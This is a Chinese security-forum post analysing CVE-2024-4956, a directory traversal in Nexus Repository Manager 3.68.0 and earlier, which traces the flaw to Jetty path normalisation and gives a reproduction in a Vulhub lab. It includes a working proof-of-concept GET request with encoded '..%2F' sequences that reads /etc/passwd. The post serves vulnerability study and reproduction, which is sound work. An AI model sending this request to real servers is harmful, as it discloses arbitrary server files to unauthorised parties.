问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)
漏洞分析
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.68.0及之前版本中,存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。
说一下Nexus的目录穿越漏洞CVE-2024-4956。看到这个漏洞,我其实先想到@Orange 当时发现的SpringMVC [CVE-2018-1271](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)。 CVE-2018-1271漏洞中,cleanPath()函数在处理路径的时候将空的字符串也认为是一个目录,这样 ///../../../ 会被认为是正常的路径,但实际上会穿越出当前目录: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-425a3b11f0aae61ceb03a11e5dec5a6d18630b90.png) 与CVE-2018-1271类似,Nexus使用的Jetty的`URIUtil.canonicalPath()`函数也将空字符串认为是一个合法目录,导致了该漏洞的产生。 最后的POC如下: ```php GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` 我这里用了7个%2F,所以后面可以有7次..%2F,成功读取到文件: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-0682c2fc6fa5925ec9efa8e5b0189fe1f81629bb.png) 我这个POC和网上流传的POC不太一样,但我觉得我这个POC会让你更好理解这个漏洞的核心原理。 漏洞环境 ---- 下载Vulhub中对应漏洞的环境:<https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956> 执行如下命令启动一个Nexus Repository Manager version 3.68.0 版本服务器: ```php docker compose up -d ``` 环境启动后,访问`http://your-ip:8081`即可看到Nexus的默认页面。 发送如下请求来复现漏洞: ```php GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Connection: close Cache-Control: max-age=0 ```
发表于 2024-05-23 17:42:28
阅读 ( 14896 )
分类:
漏洞分析
2 推荐
收藏
2 条评论
Pseudoknot
2024-05-23 21:07
昵称p开头,质量跑不脱
请先
登录
后评论
LiMu
2024-05-23 23:49
膜拜p牛
请先
登录
后评论
请先
登录
后评论
phith0n
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!